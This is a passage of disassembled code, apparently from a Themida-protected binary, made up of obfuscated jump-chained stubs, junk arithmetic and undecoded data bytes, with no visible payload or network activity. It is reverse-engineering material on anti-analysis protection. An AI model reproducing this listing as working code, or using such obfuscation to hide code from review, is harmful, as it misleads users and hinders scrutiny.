dd 0C8B70F24h, 403468h, 240C8900h, 0DD45E9h, 53CB8900h
dd 0CFCB850h, 44013895h, 5D580424h, 0D69E9h
db 0
; ---------------------------------------------------------------------------
loc_550CFD: ; CODE XREF: Themida_:00560F6Bj
push esi
push edi
mov edi, 28E3CB9h
jmp loc_55CF09
; ---------------------------------------------------------------------------
loc_550D09: ; CODE XREF: Themida_:0055C8CBj
push ecx
mov ecx, 76116E90h
xor eax, ecx
pop ecx
push eax
sub dword ptr [esp], 7BB252A3h
jmp loc_560FD6
; ---------------------------------------------------------------------------
db 1
dd 24348BF0h, 6804C483h, 1C5Bh, 0FA1E9h, 574BF00h, 0C783678Bh
dd 0C3C78101h, 29FFC054h, 0E8BCE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550D46: ; CODE XREF: Themida_:0055F3F6j
xor ebp, edx
pop edx
xor edx, ebp
jmp loc_54EDBB
; ---------------------------------------------------------------------------
dd 8904EC83h, 0E389241Ch, 4C381h, 0BE560000h, 4, 0AEE9F329h
dd 57FFFFD9h, 924D0168h, 6EE95F41h, 5C000100h, 24048F54h
dd 0E945E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550D82: ; CODE XREF: Themida_:00550EE9j
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_550D8F: ; CODE XREF: Themida_:005562E8j
mov [esp], edi
push 27DFh
mov [esp], eax
mov eax, 4A413247h
push edi
mov edi, 6F4D7107h
sub eax, edi
jmp loc_55662E
; ---------------------------------------------------------------------------
dd 83243C8Bh, 0E95604C4h, 7429h
; ---------------------------------------------------------------------------
loc_550DB8: ; CODE XREF: Themida_:00550E0Dj
mov bh, 15h
and cl, bh
pop bx
shl cl, 1
sub cl, 28h
sub bl, cl
pop ecx
sub bl, al
push 28EFh
jmp loc_5526B9
; ---------------------------------------------------------------------------
loc_550DD2: ; CODE XREF: Themida_:00555FB7j
not ebx
push esi
mov esi, 1B394CA5h
or ebx, esi
pop esi
push 0
sub [esp], ebx
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 3A99346Fh
sub ecx, 28C118AAh
jmp loc_56136F
; ---------------------------------------------------------------------------
db 53h
dd 10C60E9h
db 0
; ---------------------------------------------------------------------------
loc_550E05: ; CODE XREF: Themida_:0054DF96j
push ecx
mov cl, 6Dh
xor cl, 89h
push bx
jmp loc_550DB8
; ---------------------------------------------------------------------------
loc_550E12: ; CODE XREF: Themida_:00554142j
mov esp, [esp]
jmp loc_5536D8
; ---------------------------------------------------------------------------
dw 0E956h
dd 0FFFFD2D6h, 0A310E95Ch, 0C4830000h, 17B16804h, 34890000h
dd 34FF5424h, 0E9555E24h, 3310h, 305468h, 241C8900h, 4BBh
dd 0E9DD0100h, 5947h
; ---------------------------------------------------------------------------
loc_550E50: ; CODE XREF: Themida_:00560A25j
add esp, 4
mov edx, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5586DB
; ---------------------------------------------------------------------------
loc_550E6F: ; CODE XREF: Themida_:0055B9C5j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5535C9
; ---------------------------------------------------------------------------
dw 535Ch
dd 0E78033B7h, 80C7FE93h, 0F780AEF7h, 0E9FC004Dh, 5B93h
dd 7DF4B850h, 0EA813C3Ah, 2C9F09A1h, 0C281C201h, 2C9F09A1h
dd 4EC8358h, 0BF243C89h, 3BF42BB8h, 0E95FFA09h, 7A4Ah
dd 0E905EFC0h, 0F133h
; ---------------------------------------------------------------------------
loc_550EC8: ; CODE XREF: Themida_:00556EDBj
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 758F4786h
jmp loc_5559E1
; ---------------------------------------------------------------------------
db 0BAh
dd 7010974h, 0E344E9h
db 0
; ---------------------------------------------------------------------------
loc_550EE5: ; CODE XREF: Themida_:0054EEBAj
pop ebp
pop dword ptr [esp]
jmp loc_550D82
; ---------------------------------------------------------------------------
loc_550EEE: ; CODE XREF: Themida_:0055530Cj
push eax
push dword ptr [esp+4]
jmp loc_55C2D5
; ---------------------------------------------------------------------------
dd 80BAB252h, 0D02891F2h, 2054E95Ah, 74010000h, 57E90424h
dd 10000C8h, 0DEA81FAh, 5F3A4010h, 690CBF57h, 6E910ABh
dd 400001Bh, 0E9AB04BFh, 10BD8h, 177E981h, 0D1011165h
dd 177C181h, 56E91165h, 25000106h, 61847921h, 39A56852h
dd 95A3039h, 24148BD0h, 0E904C483h, 3D7Eh, 642886B4h, 0CE90424h
dd 8100005Ch, 8B1C9EF7h, 5F515777h, 87D1F759h, 70868CFh
dd 3C890000h, 2414F724h, 53243C8Bh, 0C381E389h, 4, 4C381h
dd 84E90000h
db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550F93: ; CODE XREF: Themida_:0055F209j
mov [esp], edx
mov edx, 680B56C8h
jmp loc_559673
; ---------------------------------------------------------------------------
aAams0z db '€íMé0z',0
align 4
dd 4C781h, 0EF830000h, 8369E904h, 3C890000h, 0A720E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550FBE: ; CODE XREF: Themida_:00559360j
push ebp
mov ebp, 45F13AF7h
not ebp
push 4CA0h
mov [esp], ebx
jmp loc_558898
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 82CBE900h, 44810000h, 581D0424h, 6C813187h, 0ACF0424h
dd 6C292442h, 44810424h, 0ACF0424h, 0E9512442h, 0FFFFDE59h
dd 3547992Dh, 0A7B9513Dh, 52119916h, 8D6255BAh, 5E2C12Dh
dd 2C38BD55h, 814D2BA2h, 0E30AF3C5h, 73F58152h, 31200653h
dd 0D1315DEAh, 8124148Bh, 4C4h, 140B0500h, 0C829364Bh
dd 4B140B2Dh, 0C46AE936h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551046: ; CODE XREF: Themida_:0054FF47j
or ebx, ebx
jnz loc_554BD2
push 5372h
mov [esp], edx
pop dword ptr [edi+20h]
jmp loc_55F7B0
; ---------------------------------------------------------------------------
loc_55105E: ; CODE XREF: Themida_:0054FCB4j
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_556919
; ---------------------------------------------------------------------------
loc_551072: ; CODE XREF: Themida_:0055179Aj
and edi, 248179DBh
sub edi, 0FA571731h
push eax
mov eax, edi
mov ebx, eax
pop eax
pop edi
push ebp
jmp loc_5506B3
; ---------------------------------------------------------------------------
db 1
dd 0FF082454h, 525A2434h, 0F75CE954h, 0F581FFFFh, 6CA53572h
dd 505DEF31h, 0EB2886B8h, 0D8F7486Ah, 4DE9D8F7h, 5A00000Dh
dd 0E9243C87h, 4FF5h, 815FFA29h, 0D93EA3CAh, 0B2BE5662h
dd 816C5366h, 0AF5B52EAh, 81F20171h, 0AF5B52C2h, 24348B71h
dd 4C481h, 8AE90000h
db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5510E7: ; CODE XREF: Themida_:005588C6j
pop eax
jmp loc_5619F1
; ---------------------------------------------------------------------------
db 80h, 0C7h, 28h
dd 685BF930h, 6564h, 52240489h, 0D5E9CE88h, 66000063h
dd 57240C8Bh, 55525F54h, 46FBE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551112: ; CODE XREF: Themida_:00550C30j
mov ebp, [esp]
add esp, 4
jmp loc_55E3B4
; ---------------------------------------------------------------------------
db 54h, 5Fh, 68h
dd 1FFDh, 0E9243489h, 11503h
; ---------------------------------------------------------------------------
loc_55112C: ; CODE XREF: Themida_:005575F5j
and edi, 5BAD26D9h
not edi
jmp loc_550B28
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 4C481h, 0E95B0000h, 0B728h, 0FE59EC08h, 0FECC80C4h
dd 0FFFB3EE9h, 0E9C188FFh, 73C3h
; ---------------------------------------------------------------------------
loc_55115C: ; CODE XREF: Themida_:005597D0j
push ecx
mov ecx, 0FEA6D7Dh
xor edx, ecx
jmp loc_553D45
; ---------------------------------------------------------------------------
db 81h, 0C6h, 22h
dd 89A061DFh, 24348BF3h, 0F8F9E9h, 0C3BB5A00h, 0E97FB07Eh
dd 0FFFFF0A3h, 0E92434FFh, 0DE9Dh
; ---------------------------------------------------------------------------
loc_55118C: ; CODE XREF: Themida_:00557438j
xor ecx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_54DDC5
; ---------------------------------------------------------------------------
aTxssvr db 'TXSév',0
dw 8000h
dd 0B753FFC1h, 5BF9282Dh, 8D5AE9h, 242C8900h, 0F816E9h
dd 0BB535700h, 2F575523h, 1DE9DF89h
db 12h, 1, 0
; ---------------------------------------------------------------------------
loc_5511C7: ; CODE XREF: Themida_:0054F45Dj
shl edx, 3
add edx, 6F585359h
xor edx, 1E286FC8h
mov ebp, edx
pop edx
jmp loc_5517CB
; ---------------------------------------------------------------------------
loc_5511DE: ; CODE XREF: Themida_:0055148Fj
; Themida_:00560D85j
push edx
mov edx, ebx
jmp loc_55E6AB
; ---------------------------------------------------------------------------
dw 0F129h
dd 44F1C181h, 34FF74B4h, 0C4815E24h, 4, 0C8BCA31h, 0ACFCE924h
dd 3C8B0000h, 0D6AAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55120A: ; CODE XREF: Themida_:0055FAECj
pop edx
xor edi, ecx
pop ecx
or edi, 0D7B30DCh
jmp loc_55BC4B
; ---------------------------------------------------------------------------
loc_551219: ; CODE XREF: Themida_:0055C9DEj
sub ecx, 337AA628h
xor ebx, ecx
pop ecx
add esi, ebx
pop ebx
xor esi, [esp]
jmp loc_561606
; ---------------------------------------------------------------------------
db 5Fh, 81h, 6Ch
dd 4CDE0424h, 440112C6h, 17E90424h, 500000E8h, 19685253h
dd 0E9225B6Eh, 0FFFFFF2Dh, 238BC281h, 34FF0AB1h, 0E80E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55125A: ; CODE XREF: Themida_:0055D797j
push ecx
mov ecx, esp
jmp loc_552560
; ---------------------------------------------------------------------------
dw 3305h
dd 0E959BA3Eh, 0CDBh, 0FFC0B60Fh, 4EE98734h, 81FFFFCBh
dd 0E43C6EF2h, 5EAC121h, 0A8E9DAF7h, 5EFFFFF6h, 4C481h
dd 0C4810000h, 4, 47685052h, 58548D0Fh, 8D0F4335h, 58C28954h
dd 148BD601h, 4C48324h, 0BF575157h, 7920485Ah, 0F5E4F8B9h
dd 89E981FBh, 17E484Ah, 89C181F9h, 5F7E484Ah, 0F1814149h
dd 0B6555DAh, 1FC6E9h
db 0
; ---------------------------------------------------------------------------
loc_5512D5: ; CODE XREF: Themida_:00556449j
add ecx, 70F97051h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55D855
; ---------------------------------------------------------------------------
loc_551304: ; CODE XREF: Themida_:0055FF9Dj
push 0A2560DDh
mov esi, [esp]
add esp, 4
push edi
push 0F5DA9F4Bh
jmp loc_55D845
; ---------------------------------------------------------------------------
loc_55131A: ; CODE XREF: Themida_:0054EA77j
add ecx, 13D41736h
add ecx, eax
push esi
mov esi, 57CF456Fh
or esi, 4FAF0341h
shr esi, 7
neg esi
jmp loc_5572AB
; ---------------------------------------------------------------------------
dd 241C895Ch, 0FFF96BE9h, 0BB5352FFh, 7569283Bh, 6804EBC1h
dd 0
dd 0E9241C29h, 191Eh, 83242C8Bh, 0E95704C4h, 0D12Eh, 105C281h
dd 0D0891406h, 7437685Ah, 0C890000h, 81E18924h, 4C1h, 4E98300h
dd 31240C33h, 0C33240Ch, 24248B24h, 0BA241489h, 40521AE8h
dd 6DECE281h, 0EA81576Ch, 487619B1h, 8CE9DAF7h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5513A7: ; CODE XREF: Themida_:0055DA0Aj
mov ch, al
jmp loc_553CDD
; ---------------------------------------------------------------------------
dw 8157h
dd 4ECh, 24248900h, 6B02E9h, 7E6C100h, 0F84FE9h, 243C8B00h
dd 4C481h, 0FFBB0000h, 8138271Dh, 37095FC3h, 81EB015Eh
dd 37095FEBh, 0D8015D5Eh, 68D8295Bh, 50EFh, 68240C89h
dd 128D76AFh, 4EE98159h, 0F7681F6Ah, 7BF181D9h, 2937ABD9h
dd 8FE959C8h
db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55140B: ; CODE XREF: Themida_:0055C799j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
or eax, eax
jz loc_554877
sub esp, 4
jmp loc_55FF99
; ---------------------------------------------------------------------------
dd 53240C89h, 43B368h, 24048900h, 0CC4AE4B8h, 0CEEB2D38h
dd 0C389D92Fh, 8324048Bh, 0F75304C4h, 66E92414h, 8F0000B1h
dd 248B2404h, 0B30F6624h, 0E99C2404h, 0FFFFC969h, 51CB8143h
dd 4B09177Fh, 8026C381h, 0C681F400h, 2A36320Dh, 0EE81DE01h
dd 2A36320Dh, 7467685Bh, 1C890000h, 0EBD5524h, 0E958502Dh
dd 0FFFFD85Eh
; ---------------------------------------------------------------------------
loc_55148C: ; CODE XREF: Themida_:0055A7C8j
pop esp
or eax, eax
jz loc_5511DE
push dword ptr [edi+1Ch]
jmp loc_557FD9
; ---------------------------------------------------------------------------
db 58h, 0E9h, 19h
dd 590000A6h, 241C8B5Dh, 0E9E68956h, 0F88Dh
; ---------------------------------------------------------------------------
loc_5514B0: ; CODE XREF: Themida_:005617DAj
mov [esp], edx
push ebx
mov bh, 2Eh
mov dl, 14h
sub dl, bh
pop ebx
xor ah, dl
pop edx
push eax
not byte ptr [esp+1]
pop eax
jmp loc_5609BB
; ---------------------------------------------------------------------------
db 59h, 1, 0CAh
dd 1C8B5F59h, 4685324h, 89000058h, 4E92424h, 81FFFFD9h
dd 6D2BB1EEh, 5A31E919h, 5A5A0000h, 4C681h, 0FF560000h
dd 5E042474h, 8B24048Fh, 48B2424h, 5B545324h, 0B1FB951h
dd 0E1810596h, 11EB24D9h, 0DB85049h, 2D49F71Ah, 2B1556E2h
dd 136C612Dh, 0B31F052Ah, 0C13153F4h, 0A7BB5358h, 811CD324h
dd 8A2A43E3h, 70F38130h, 0E961F36Dh, 2CC6h
; ---------------------------------------------------------------------------
loc_551540: ; CODE XREF: Themida_:0054E32Aj
sub esp, 4
mov [esp], ecx
jmp loc_54FE4D
; ---------------------------------------------------------------------------
loc_55154E: ; CODE XREF: Themida_:0056248Cj
push esi
add dword ptr [esp], 6B0A29C4h
pop ecx
sub ecx, 6B0A29C4h
mov esi, [esp]
add esp, 4
jmp loc_55215A
; ---------------------------------------------------------------------------
db 55h
dd 4BDh, 4AC38100h, 104D31Dh, 4AEB81EBh, 0E904D31Dh, 0F60Dh
dd 0D330D2F6h, 0D330DA30h, 5011CB80h, 0C30026B0h, 0E9DA8858h
dd 0EF86h, 4B9h, 68505200h, 40C01AA9h, 7E0C158h, 0FFEE4AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5515B1: ; CODE XREF: Themida_:0055EEEAj
pop ecx
jmp loc_54DEB0
; ---------------------------------------------------------------------------
db 21h
dd 68565BDDh, 0F775C002h, 0FFF3D2E9h, 0E9595AFFh, 0FFFFE3DAh
dd 39CF8158h, 81683333h, 1C66DACFh, 0B3E78123h, 811FC702h
dd 78DD49F7h, 76D42DE4h, 0F8292DBFh, 0FFC83EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5515F1: ; CODE XREF: Themida_:00555191j
add esp, 4
shr ecx, 0
jmp loc_5542BE
; ---------------------------------------------------------------------------
db 56h
dd 4BEh, 0B435E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55160A: ; CODE XREF: Themida_:005615DFj
pop edx
sub al, 8Ah
xor cl, al
pop eax
dec cl
sub cl, 0B5h
mov dh, cl
pop ecx
add bl, dh
mov dx, [esp]
jmp loc_55C279
; ---------------------------------------------------------------------------
loc_551623: ; CODE XREF: Themida_:0055B5BEj
push esi
push 188D360Eh
pop esi
jmp loc_554FCA
; ---------------------------------------------------------------------------
db 5Bh
dd 7846855h, 0E95D7F65h, 421Bh, 0A2147EB9h, 0D1F7492Fh
dd 0EB7EE981h, 0C801D05Dh, 0FFDFD7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551651: ; CODE XREF: Themida_:00551D56j
or ebx, ecx
pop ecx
push edi
mov edi, 6199587Eh
jmp loc_55EAA1
; ---------------------------------------------------------------------------
db 0FFh
a4S db '4$éÌÖ',0
db 0
; ---------------------------------------------------------------------------
loc_551667: ; CODE XREF: Themida_:0054E5ABj
mov [esp], ax
jmp loc_55E23A
; ---------------------------------------------------------------------------
dd 8B243C33h, 0C892424h, 0FE95424h
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55167F: ; CODE XREF: Themida_:005534EDj
push eax
push ecx
jmp loc_55A299
; ---------------------------------------------------------------------------
dw 0D389h
dd 73E3815Ah, 0E9033F05h, 0BFA1h, 8104C483h, 4C4h, 0BF9E900h
dd 2EBF0000h, 0F7476F17h, 732E9DFh, 14870000h, 24248B24h
dd 6D6C68h, 240C8900h, 0B850E189h, 31D33A6Eh, 3507E0C1h
dd 0E99D3704h, 0E958C101h, 9BBh, 8B5EF129h, 8CE92434h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5516DF: ; CODE XREF: Themida_:0055FDF5j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
or edx, eax
jmp loc_554BD9
; ---------------------------------------------------------------------------
a1434Hl db '14$34$\hL"',0
align 2
dw 0C89h
aShp db '$éH¯',0
align 2
loc_551716: ; CODE XREF: Themida_:0055E660j
mov ecx, [esp]
add esp, 4
xor edx, eax
push dword ptr [esp]
pop eax
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_554873
; ---------------------------------------------------------------------------
db 66h
dd 66109568h, 0E97F3968h, 5A7Eh, 5351C828h, 0FEE915B7h
dd 8B000092h, 0D0E9242Ch, 53FFFFE0h, 0E956E9h
db 0
; ---------------------------------------------------------------------------
loc_551759: ; CODE XREF: Themida_:0055E682j
push 157Ch
mov [esp], ebp
mov ebp, 26300515h
add esi, 5E1B3C13h
sub esi, ebp
jmp loc_55C68C
; ---------------------------------------------------------------------------
db 0F6h
dd 3E1C0D9h, 0E992F180h, 0BE3Dh
; ---------------------------------------------------------------------------
loc_551780: ; CODE XREF: Themida_:0054EE2Ej
push dword ptr [esp+4]
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_552F45
; ---------------------------------------------------------------------------
loc_55178F: ; CODE XREF: Themida_:0054ED3Cj
add ebx, 0FFFFFFFFh
xchg ebx, edi
or edi, 405E31D8h
jmp loc_551072
; ---------------------------------------------------------------------------
db 1
dd 84C281C2h, 8B759414h, 0E9522404h, 0B419h, 81240C8Bh
dd 4C4h, 55D9F700h, 0E9595D51h, 89E1h
; ---------------------------------------------------------------------------
loc_5517C4: ; CODE XREF: Themida_:00552A24j
mov ebx, esp
jmp loc_55430D
; ---------------------------------------------------------------------------
loc_5517CB: ; CODE XREF: Themida_:005511D9j
sub [esp+4], ebp
pop ebp
pop edi
jmp loc_5571F5
; ---------------------------------------------------------------------------
dw 0F788h
dd 0F828595Ah, 0BEA0E9h
db 0
; ---------------------------------------------------------------------------
loc_5517E1: ; CODE XREF: Themida_:0054EC9Fj
and edx, ecx
pop ecx
push eax
sub esp, 4
mov [esp], ecx
mov ecx, 3B612E6Eh
mov eax, ecx
pop ecx
xor edx, eax
pop eax
sub esp, 4
mov [esp], ebp
mov ebp, 447879B1h
xor edx, ebp
pop ebp
mov esi, edx
mov edx, [esp]
add esp, 4
shl esi, 4
shr esi, 2
shr esi, 1
push ebx
jmp loc_55FF57
; ---------------------------------------------------------------------------
loc_55181D: ; CODE XREF: Themida_:0055EEA4j
add edx, esi
jmp loc_562896
; ---------------------------------------------------------------------------
loc_551824: ; CODE XREF: Themida_:0055E987j
sub ecx, 19720CB0h
mov ebp, [esp]
add esp, 4
neg ecx
push eax
push 341C2103h
pop eax
jmp loc_55E635
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 8B542414h, 0EBE92414h, 81000106h, 2065242Ch
dd 348B7A25h, 0CE8EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551862: ; CODE XREF: Themida_:00556868j
mov [esp], esi
jmp loc_560EAE
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 7FFEEA81h, 21E9C206h, 55000061h, 825EEBDh, 6196E944h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551882: ; CODE XREF: Themida_:00557E98j
push ecx
jmp loc_5627BA
; ---------------------------------------------------------------------------
dd 0A3068h, 243C8900h, 0FFFE0DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551895: ; CODE XREF: Themida_:0055453Dj
mov edi, 7EDF50A6h
xor esi, edi
pop edi
mov edx, [esp]
add esp, 4
shl esi, 7
push 6441h
mov [esp], ebx
mov ebx, 4E9536E0h
not ebx
jmp loc_555F9F
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 1000000h, 0EF815AD7h, 4, 0E9243C33h, 3DE7h
; ---------------------------------------------------------------------------
loc_5518D4: ; CODE XREF: Themida_:0055EE77j
push dword ptr [esp]
pop edx
add esp, 4
add bl, 0F9h
add bl, ch
sub bl, 0F9h
jmp loc_54F38F
; ---------------------------------------------------------------------------
dd 490E951h, 642D0000h, 218BDC25h, 0B95158C7h, 0DFA5E9Ch
dd 9055E9h, 5E08900h, 4, 42Dh, 24048700h, 10157E9h, 24048B00h
dd 585168h, 240C8900h, 34E95954h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551927: ; CODE XREF: Themida_:00558CB2j
shl ebx, 6
or ebx, 19072561h
sub ebx, 0FC76B718h
sub edi, 43C44C8Dh
jmp loc_5548CB
; ---------------------------------------------------------------------------
aSJVsH db ')è-†',1Bh,'¼vé»H',0
dd 0BA525100h, 27974B6Dh, 4B67E281h, 0EA815949h, 0EBBFE5A3h
dd 0F75AD189h, 0FFC181D9h, 0E9FFFFFFh, 104DCh
; ---------------------------------------------------------------------------
loc_551970: ; CODE XREF: Themida_:00555A9Cj
push edi
mov edi, 4
add ebx, edi
jmp loc_54FEB1
; ---------------------------------------------------------------------------
db 88h, 0D0h, 5Ah
dd 3E8C059h, 57B25266h, 5A66D020h, 53665266h, 0DE8819B3h
dd 2875E9h, 28C1B500h, 595966EBh, 0FFC0B60Fh, 81568734h
dd 4ECh, 24148900h, 4EC81h, 2C890000h, 0C02BD24h, 5BA7326h
dd 5692D743h, 0E36724BEh, 6846h, 34290000h, 65685E24h
dd 8900004Fh, 0EABD242Ch, 0E968F85Ah, 4C20h, 910B850h
dd 0C631F639h, 0DD39E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5519F2: ; CODE XREF: Themida_:00555A6Fj
add eax, 5DD43829h
mov esi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 676Ch
mov [esp], edx
jmp loc_55FB5A
; ---------------------------------------------------------------------------
loc_551A19: ; CODE XREF: Themida_:00557181j
sub ecx, edx
pop edx
dec ecx
add ecx, 1
jmp loc_55ECCB
; ---------------------------------------------------------------------------
aSz db '[é‡Ï',0
align 2
dw 0D621h
dd 5A2434FFh, 8304C483h, 2C8904ECh, 4F8CBD24h, 0EE310D95h
dd 81242C8Bh, 4C4h, 0F6E98100h, 17A456Ch, 0F6C181F1h, 0E97A456Ch
dd 0B27Ch
; ---------------------------------------------------------------------------
loc_551A60: ; CODE XREF: Themida_:005509DDj
pop esp
jmp loc_5520AA
; ---------------------------------------------------------------------------
dw 0BA52h
dd 52CD6668h, 242BCA81h, 0E2816F52h, 419C43A4h, 232BE281h
dd 0E9504E8Bh, 0FB4Ah
; ---------------------------------------------------------------------------
loc_551A84: ; CODE XREF: Themida_:0054FABFj
add eax, ecx
jmp loc_55719E
; ---------------------------------------------------------------------------
aIhJjssea db '-¶)©h-²¦jséEA',0
align 2
dw 0C601h
dd 5324048Bh, 0C381E389h, 4, 0E904C383h, 0FFFFD156h, 0E904EC83h
dd 589Fh, 0BC419D2Dh, 0DD0F747h, 0B757BD2h, 0C7F7B35h
dd 8BC201C1h, 0C4832404h, 31FB0504h, 0D00173BCh, 0BC31FB2Dh
dd 0BA525A73h, 2, 8B64172Dh, 74BB5327h, 0E9644E2Fh, 1FCBh
dd 1E31EA81h, 8BE97BBBh, 3300000Dh, 248B2414h, 0C896624h
dd 0B60F6624h, 1F2E9C8h, 0C4830001h, 0E9E1E904h, 0C581FFFFh
dd 4F3C46EAh, 0E7D1E9h
db 0
; ---------------------------------------------------------------------------
loc_551B25: ; CODE XREF: Themida_:0055DED9j
add ebx, ebp
pop ebp
or ebx, 38863636h
jmp loc_55B5C3
; ---------------------------------------------------------------------------
db 81h
dd 0F3FA4DC3h, 0AE07E9FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551B3E: ; CODE XREF: Themida_:00552F0Aj
and ebx, ecx
pop ecx
push ebx
jmp loc_55C69E
; ---------------------------------------------------------------------------
loc_551B47: ; CODE XREF: Themida_:005614D6j
pop esp
pop ecx
jmp loc_558287
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFFC2E5h
; ---------------------------------------------------------------------------
loc_551B54: ; CODE XREF: Themida_:0055B0B5j
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
sub dword ptr [esp], 754C19h
mov eax, [esp]
jmp loc_5545B8
; ---------------------------------------------------------------------------
dd 72CCEA81h, 0CA812479h, 2B852FC9h, 0D025C281h, 0D701841Ah
dd 4C7815Ah, 87000000h, 248B243Ch, 0E3895324h, 8C0AE9h
dd 24248B00h, 24040166h, 0A384E99Ch, 83590000h, 143304EAh
dd 0EB3EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551BAE: ; CODE XREF: Themida_:00551C5Dj
inc ebp
push edi
mov edi, 42793FE7h
add ebp, edi
pop edi
not ebp
jmp loc_55CC96
; ---------------------------------------------------------------------------
db 89h
dd 5166241Ch, 0EC812DB1h, 4, 53240489h, 0F693E9h
db 0
; ---------------------------------------------------------------------------
loc_551BD5: ; CODE XREF: Themida_:0055BA1Dj
push ebx
jmp loc_5534DC
; ---------------------------------------------------------------------------
db 87h
dd 64E9243Ch, 0BFFFFFC5h, 0C8B4869h, 2D5FF829h, 419F09DCh
dd 0DC05D829h, 5419F09h, 0C8B4869h, 0CAE9505Bh
db 93h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C03: ; CODE XREF: Themida_:00551C9Aj
push edi
push 556705EDh
pop edi
sub edi, 43E021CAh
jmp loc_561154
; ---------------------------------------------------------------------------
db 56h, 0BEh, 61h
dd 570E2A2Bh, 0F818EDBFh, 0D7DFE941h, 0C2810000h, 44CA7D17h
dd 0A1A8E9h, 4C48300h, 43F968h, 0E7CBE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C3E: ; CODE XREF: Themida_:00554383j
push esi
mov esi, 476A58A1h
jmp loc_54F14B
; ---------------------------------------------------------------------------
db 51h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54F05C
; ---------------------------------------------------------------------------
aFsK db 'Fé}ª',0
align 4
loc_551C58: ; CODE XREF: Themida_:0055DF38j
push ebp
not dword ptr [esp]
pop ebp
jmp loc_551BAE
; ---------------------------------------------------------------------------
loc_551C62: ; CODE XREF: Themida_:00554316j
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5575CF
; ---------------------------------------------------------------------------
db 89h, 0E6h, 53h
dd 4BBh, 68EE8100h, 1730835h, 823CE9DEh, 0C2810000h, 4
dd 0AE7CE9h
db 0
; ---------------------------------------------------------------------------
loc_551C8D: ; CODE XREF: Themida_:0055306Cj
pop esp
mov [esp], esp
jmp loc_54EF63
; ---------------------------------------------------------------------------
loc_551C96: ; CODE XREF: Themida_:0055F964j
mov [esp], ebx
push ebp
jmp loc_551C03
; ---------------------------------------------------------------------------
db 0BDh
dd 13105CF4h, 0B37E01BEh, 0E9EE315Fh, 10106h, 0C48DE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551CB6: ; CODE XREF: Themida_:00555051j
push esp
pop ebx
add ebx, 4
push eax
mov eax, 4
sub ebx, eax
pop eax
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_54FD6B
; ---------------------------------------------------------------------------
dw 1C89h
dd 8F685524h, 8B395C6Eh, 0C481242Ch, 4, 0F7D5F74Dh, 2ABB53DDh
dd 0C162F457h, 814308EBh, 0EF5BD6C3h, 0B3EB8164h, 43344708h
dd 49F7C381h, 0DD019598h, 5DEB895Bh, 5E08950h, 4, 107EE9h
dd 89F28900h, 2434FFD3h, 8324148Bh, 0C48104C4h, 4, 5E2434FFh
dd 555F5457h, 4BDh, 8BEF0100h, 3FE9242Ch, 890000BAh, 58C589D8h
dd 57CE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551D4E: ; CODE XREF: Themida_:00561C57j
xchg ebp, ebx
push ecx
mov ecx, 4F690440h
jmp loc_551651
; ---------------------------------------------------------------------------
dd offset loc_55FC68
align 10h
dd 0E9240C89h, 9F8Ch
; ---------------------------------------------------------------------------
loc_551D68: ; CODE XREF: Themida_:0054E7A0j
push esp
pop edi
add edi, 4
push edx
mov edx, 7401322Dh
shl edx, 2
jmp loc_55D92C
; ---------------------------------------------------------------------------
dw 0EC83h
